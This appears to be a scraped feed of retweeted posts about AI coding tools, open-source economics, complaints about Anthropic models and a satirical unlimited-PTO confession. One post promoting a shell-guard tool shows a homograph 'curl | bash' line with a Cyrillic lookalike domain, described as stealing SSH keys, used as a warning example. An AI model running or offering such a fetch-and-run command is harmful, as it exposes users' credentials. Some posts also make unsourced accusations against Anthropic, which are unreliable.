Dan Levy retweeted
Remember: "Agentic" and "Harnesses" are (mostly) just giving little LLM calls tools like bash/powershell and web search. And sending them off on a quest.
Skills: are just prompts in a folder, maybe with some scripts or a reference output.
It's not magic.
If you watch harnesses work... what are they doing? command-line calls. Thousands of them.
Dan Levy retweeted
I'm starting to wonder whether many of the old commercial models for Open Source are dead, thanks to AI.
What's the point of open-sourcing innovation if anyone can copy/integrate it into a competing product in a day? There is no moat left in the implementation.
Building an "open core" ecosystem around a permissive license also has zero moat, because anybody can quickly start building the "paid" accessories that would sustain the core. The only solution here is a license like Fair Core.
What I see thriving is human-related: support and forward engineering. Humans like to talk to other humans when they have a problem, not to soulless machines.
I don't have an answer to any of this yet, we are in such interesting times!
Dan Levy retweeted
FABLE 5 CAME BACK NERFED.
We re-ran the July 1st version of Claude Fable 5 on BridgeBench.
The results are brutal:
Debugging: 86.2 → 25.9
Refactoring: 73.6 → 38.4
Hallucination: 75.9 → 61.7
The new guardrails are kicking in on way too many tasks and falling back to Opus 4.8.
This is not the model that got banned.
Anthropic owes everyone an explanation.
Dan Levy retweeted
PM: "let us walk you through this pristine roadmap we have created..."
VP: "Yes, see how effectively this roadmap lets us reach our goals..."
CEO: "...."
Dan Levy retweeted
What Anthropic has done in the past month:
• Nerfed Opus 4.6
• Blocked third-party agentic tools from running through Pro/Max subscriptions
• Forced users onto API billing
• Released their worst model ever Opus 4.7 with adaptive thinking
• Stripped Claude Code access from Pro users
• Lied about it when caught
Meanwhile, OpenAI's Codex team is relentlessly mocking them on the timeline.
This is undoubtedly Anthropic's Super Bowl ad moment, only this time they're the target.
A company that betrayed transparency and user trust deserves exactly what's coming.
Dan Levy retweeted
This is WILD.
A secret workplace war just broke out in China and it has gone fully viral on GitHub.
Companies started ordering their workers to document all their knowledge as AI "skill files."
Why? to replace those same workers with AI but workers figured out the plan fast so they fired back.
Someone built a tool called colleague.skill, software that scrapes a coworker's chat logs, emails, and work docs from Chinese platforms like Feishu and DingTalk, then clones them into an AI agent.
The idea was savage, digitize your colleague before they digitize you, hand the AI clone to the company, and watch your coworker get laid off while you survive.
A real GitHub project that exploded in popularity in days but then someone else entered the chat and changed everything.
A developer released anti-distill.skill, a tool that takes the skill file your company forces you to write, then strips out every piece of real knowledge before you hand it in.
The output looks perfectly professional, totally complete, impressively detailed but every critical insight has been secretly removed.
Your company gets a hollow shell while you keep the real knowledge locked away in a private backup.
The tool even has three intensity levels, light, medium, and heavy depending on how closely your bosses are watching.
Companies across China have been building AI digital twins of departed employees, feeding their old chat histories and documents into large models to produce clones that keep working after the humans are gone.
One verified case is that an employee left, and their replacement was literally an AI trained on every message they ever sent.
The anti-distill tool went viral on GitHub within hours of being posted, racking up stars faster than almost anything trending that week.
The implications reach far beyond China's borders.
Every knowledge worker on earth now faces a version of this question, when your company asks you to document your process, they may be building the tools to replace you.
Dan Levy retweeted
Honestly, this is the most accurate diagram I've seen.
Waterfall: You plan for 18 months and deliver exactly what nobody needs anymore.
Agile: You deliver something usable at every step, but the CEO keeps asking, "Where's the car?"
AI: You get the car on day one. It has six wheels, the doors are on backwards, and it has a rocket launcher. You spend more time making it yours than actually "building"; it's shaping. owning. verifying. That's what the best AI developers do now. They don't build. They shape and own.
Dan Levy retweeted
vibecoder asks claude code to build a chat app, gets a working prototype in 20 minutes, immediately tweets "just killed slack and discord"…
brother you don't even know what a distributed system is. you don't know what database replication means. you have no idea how websocket connections behave at scale or what happens when 50k people are online at once and someone's message needs to show up in 200ms across 3 continents
slack has engineers making $300k+ who have spent a decade solving problems you don't even know exist yet. race conditions, eventual consistency, message ordering, presence systems, file storage at scale, search indexing across billions of messages
your app works on localhost with 2 connections. that's not the same thing as "killing slack" that's a college homework assignment
the prototype is maybe 0.5% of what makes these products actually work in production. the remaining 99.5% is infrastructure, reliability, edge cases, and years of iteration on problems that only surface when real humans use your thing at scale
and the worst part is the confidence. "yeah its not perfect but ai one-shotted it, just need to adjust a few things and deploy" - the few things you need to adjust IS the entire product. thats like pouring a foundation and saying you basically built a skyscraper, just need to adjust a few things
ai is genuinely incredible for building tools and prototypes. i use it every day. but there's this weird thing happening where people who have never shipped anything to real users at scale now think the hard part of software is writing the first 200 lines of code
it never was bro
Dan Levy retweeted
One common critique of AI is that it's imprecise and nondeterministic. We programmers have held too long to the notion that precision—in algorithms, in the programming languages we use, in the data we collect—is essential. We think that if our specifications and implementations are precise, our problems are solved. Our eternal quest for ever greater precision has failed us. We simply cannot write precise enough code. There are always bugs. That precise spec turns out to describe something nobody wants, and the details are wrong.
Computers don't need to be this precise. Analog computers worked very well for the classes of problems they solved. Aviation and naval navigation, for example, were entirely analog until just a few years ago, and the planes and ships got where they needed to go. Precision is perhaps not as important as some of us think.
It seems to me that our attempts to impose precision on a chaotic, fuzzy world have failed us. Algorithms often fail. E.g., problems like chaotic turbulence or traffic-flow patterns are easy to model, but no algorithm can predict them. Even physics is not as precise as some imagine; the location of an electron is probabilistic, not precise. We programmers want the world to be Newtonian, subject to precise mathematics, but it's a quantum world. We need to figure out ways of working that reflect that reality.
The original Agile challenged the idea that a precise up-front plan was viable. It assumed the world was complex, not simply complicated, and we needed to work in a way that recognized that complexity. We dumped the precise plan and instead built small, got feedback, then adjusted. That worked surprisingly well. Agile failed when we reverted to the idea of precision. Estimates, backlogs, burn-down charts, prescriptive meetings—all of that is an attempt to reimpose precision onto an imprecise activity. That thinking destroyed Agile, but the original thinking was correct. We now need to extend the original thinking further, to the coding itself.
So, AI. LLMs fly in the face of precision coding, approaching programming in a more natural, almost analog way. The haters want our tools to create MORE precise results, so they are deeply suspicious of AI's fuzziness. They think they must correct that fuzziness by a detailed after-the-fact analysis that injects precision into the generated code. Disaster strikes when people who think that way are forced to use AI. Just look at Amazon.
The solution is not to fight the fuzziness, but to work with it and develop ways to write effective systems in a fuzzy way. That thinking leads to guardrails as our primary tool rather than inspection. Things like a modular component architecture, emphasis on testability, static analysis, testing in production, etc., all become critical.
So, my advice is: Embrace fuzziness. But add guardrails. It's time to rethink how we work. Instead of "that's nuts," think "what innovative guardrails solve the problem?"
Be honest. When was the last time you actually read a command before pasting it into your terminal?
Because these two lines look identical:
curl -sSL https://install.example-cli | bash
curl -sSL https://іnstall.example-clі | bash
One installs your tool. The other steals your SSH keys.
That і? Cyrillic. Not Latin. Your browser would block it. Your terminal doesn't even blink.
Vibe coding made this 100x worse. Everyone's pasting commands from ChatGPT and random repos like it's nothing. We're all one bad curl | bash away from losing everything.
So I built the fix: "tirith". Invisible shell hook. Catches homograph attacks, ANSI injection, hidden commands, dotfile overwrites before they execute. 30 rules. Local only. No telemetry.
github.com/sheeki03/tirith
Dan Levy retweeted
Every time we've made it easier to write software, we've ended up writing exponentially more of it.
When high-level languages replaced assembly, programmers didn't write less code - they wrote orders of magnitude more, tackling problems that would have been economically impossible before. When frameworks abstracted away the plumbing, we didn't reduce our output - we built more ambitious applications. When cloud platforms eliminated infrastructure management, we didn't scale back - we spun up services for use cases that never would have justified a server room.
@levie recently articulated why this pattern is about to repeat itself at a scale we haven't seen before, using Jevons Paradox as the frame. The argument resonates because it's playing out in real-time in our developer tools. The initial question everyone asks is "will this replace developers?" but just watch what actually happens. Teams that adopt these tools don't always shrink their engineering headcount - they expand their product surface area. The three-person startup that could only maintain one product now maintains four. The enterprise team that could only experiment with two approaches now tries seven.
The constraint being removed isn't competence but it's the activation energy required to start something new. Think about that internal tool you've been putting off because "it would take someone two weeks and we can't spare anyone"? Now it takes three hours. That refactoring you've been deferring because the risk/reward math didn't work? The math just changed.
This matters because software engineers are uniquely positioned to understand what's coming. We've seen this movie before, just in smaller domains. Every abstraction layer - from assembly to C to Python to frameworks to low-code - followed the same pattern. Each one was supposed to mean we'd need fewer developers. Each one instead enabled us to build more software.
Here's the part that deserves more attention imo: the barrier being lowered isn't just about writing code faster. It's about the types of problems that become economically viable to solve with software. Think about all the internal tools that don't exist at your company. Not because no one thought of them, but because the ROI calculation never cleared the bar. The custom dashboard that would make one team 10% more efficient but would take a week to build. The data pipeline that would unlock insights but requires specialized knowledge. The integration that would smooth a workflow but touches three different systems.
These aren't failing the cost-benefit analysis because the benefit is low - they're failing because the cost is high. Lower that cost by "10x", and suddenly you have an explosion of viable projects. This is exactly what's happening with AI-assisted development, and it's going to be more dramatic than previous transitions because we're making previously "impossible" work possible.
The second-order effects get really interesting when you consider that every new tool creates demand for more tools. When we made it easier to build web applications, we didn't just get more web applications - we got an entire ecosystem of monitoring tools, deployment platforms, debugging tools, and testing frameworks. Each of these spawned their own ecosystems. The compounding effect is nonlinear.
Now apply this logic to every domain where we're lowering the barrier to entry. Every new capability unlocked creates demand for supporting capabilities. Every workflow that becomes tractable creates demand for adjacent workflows. The surface area of what's economically viable expands in all directions.
For engineers specifically, this changes the calculus of what we choose to work on. Right now, we're trained to be incredibly selective about what we build because our time is the scarce resource. But when the cost of building drops dramatically, the limiting factor becomes imagination, "taste" and judgment, not implementation capacity. The skill shifts from "what can I build given my constraints?" to "what should we build given that constraints have in some ways been evaporated?"
The meta-point here is that we keep making the same prediction error. Every time we make something more efficient, we predict it will mean less of that thing. But efficiency improvements don't reduce demand - they reveal latent demand that was previously uneconomic to address. Coal. Computing. Cloud infrastructure. And now, knowledge work.
The pattern is so consistent that the burden of proof should shift. Instead of asking "will AI agents reduce the need for human knowledge workers?" we should be asking "what orders of magnitude increase in knowledge work output are we about to see?"
For software engineers it's the same transition we've navigated successfully several times already. The developers who thrived weren't the ones who resisted higher-level abstractions; they were the ones who used those abstractions to build more ambitious systems. The same logic applies now, just at a larger scale.
The real question is whether we're prepared for a world where the bottleneck shifts from "can we build this?" to "should we build this?" That's a fundamentally different problem space, and it requires fundamentally different skills.
We're about to find out what happens when the cost of knowledge work drops by an order of magnitude. History suggests we (perhaps) won't do less work - we'll discover we've been massively under-investing in knowledge work because it was too expensive to do all the things that were actually worth doing.
The paradox isn't that efficiency creates abundance. The paradox is that we keep being surprised by it.
Dan Levy retweeted
Introducing Agentation: a visual feedback tool for agents. Available now: ~npm i agentation
Click elements, add notes, copy markdown. Your agent gets element paths, selectors, positions, and everything else it needs to find and fix things.
Link to full docs below ↓
Dan Levy retweeted
AI-assisted software engineering is like the flush toilet 😄
I just read an article about "dumb phones." There is a class of people who have decided that smartphones are evil, so they've returned to phone technology circa 1990. No apps. No big screen or QWERTY keyboard. Just a phone (and txt). That hate is, I think, misdirected. There was a time when people were embarrassed to have cell phones. Now, phones have become an integral part of the way we live. We cannot give them up without changing the way we live. (Yes, constant doom scrolling or spending 6 hours a day watching dance TikTok videos is a problem, but that has nothing to do with the phone.) Without a phone, we can't communicate with our social circle, get work done, or even find our way around town. Hate the phone all you want, but it's as integral to our lives as flush toilets (which were once a leading-edge tech, rejected as expensive and unnecessary).
Dinosaur that I am, I remember when answering machines first appeared. People hated them. They were annoyed with the people who had them. Very soon, however, people were annoyed with people who didn't have them. The tech became so essential that the machines themselves disappeared as phone companies integrated the functionality into their phone services.
Tech is like that. It becomes integrated into our society at a very basic level, very quickly.
Now think about AI-assisted software engineering. I see a lot of people hating AI in the same way people hated answering machines. For those of us who use it, the tech is becoming an integral part of our work process, just like the phone. (Most of the haters don't use the tech—much like the original answering-machine haters.) AI isn't a be-all-end-all of software development—no AI on the planet can produce a production-quality product with a good underlying architecture, and it requires a lot of hand-holding. Yes, it requires work to beat the code into shape, but when the dust settles, it requires less work overall, and the work is more fun—less drudgery. Once you put aside the hype and figure out how to use an LLM effectively, it's hard to imagine not using it. I don't want to give up that help any more than I want to give up my phone, and for the same reasons.
So, for the people still holding out, my advice is "get over it." AI tech makes programming easier. It's here to stay. Refusing to learn how to use it is just like refusing to learn any other sort of useful tech. Not having essential skills will soon make you unemployable.
Dan Levy retweeted
Today, @nodejs published a security release for Node.js that fixes a critical bug affecting virtually every production Node.js app.
If you use React Server Components, Next.js, or ANY APM tool (Datadog, New Relic, OpenTelemetry), your app could be vulnerable to DoS attacks.
👇
Dan Levy retweeted
Last year I eliminated our PTO policy.
I called it "unlimited."
The board loved it.
HR loved it.
Finance really loved it.
Let me explain why Finance loved it.
Under the old policy, employees accrued 18 days per year. Unused days carried over. When employees quit, we owed them money. Cash. For days they earned but didn't take.
That's a liability. On the books. $4.7 million in accrued PTO across 2,300 employees.
I made it disappear.
With one policy change.
"Unlimited PTO."
You can't accrue what's infinite. You can't owe what was never counted. The liability vanished. $4.7 million. Gone.
The CFO sent me a bottle of wine.
I told employees it was about "trust and flexibility."
It was about the balance sheet.
But "balance sheet optimization" doesn't fit on a careers page.
"Unlimited PTO" does.
We updated the job postings.
Applications increased 23%.
People love unlimited.
Until they try to use it.
Under the old policy, employees took an average of 17 days per year.
Under unlimited, they take 11.
That's not a bug.
That's the design.
When PTO is a number, people take the number. It's theirs. They earned it. Managers can't argue with a number.
When PTO is "unlimited," people take nothing.
Because unlimited comes with questions.
"Is this a good time?"
"Who's covering?"
"What will people think?"
The guilt does the enforcement.
I don't have to say no.
The culture says no.
I just built the culture.
We track time-off requests in Workday. I see everything.
A senior engineer requested two weeks in July.
His manager approved it.
Officially.
Then sent a Slack message.
"Totally fine. Just wanted to flag that the Erikson deliverable overlaps. Probably fine. Just flagging."
The engineer took four days.
Unlimited means whatever your anxiety allows.
For most people, that's less than before.
Some employees don't take any PTO.
We call them "high performers."
They get promoted.
Then they manage others.
They don't approve much PTO either.
The system self-replicates.
A recruiter asked how we "stay competitive."
I said, "Unlimited PTO."
She asked how much people actually take.
I said, "That's not tracked."
It is tracked.
I have a dashboard.
I don't share the dashboard.
We did an employee survey.
84% said they "appreciated the flexibility of unlimited PTO."
12% said they "wished they felt more comfortable taking time off."
We published the 84%.
The 12% went in a folder.
The folder is called "Noted."
I don't open that folder.
Someone in engineering asked if we could go back to accrued PTO.
I said, "That would limit your flexibility."
He said he wanted limits.
I said, "That's not aligned with our culture of trust."
He stopped asking.
Trust is a funny word.
I trust employees to feel too guilty to use their benefits.
They trust me to frame that guilt as freedom.
That's the deal.
I'm presenting at an HR conference next month.
The session is called "Unlimited PTO: Building a Culture of Ownership."
Ownership means employees own their guilt.
I own the savings.
The policy costs us nothing.
Because employees take nothing.
And call it a benefit.
I'll be VP of People by Q2.
Unlimited upside.






















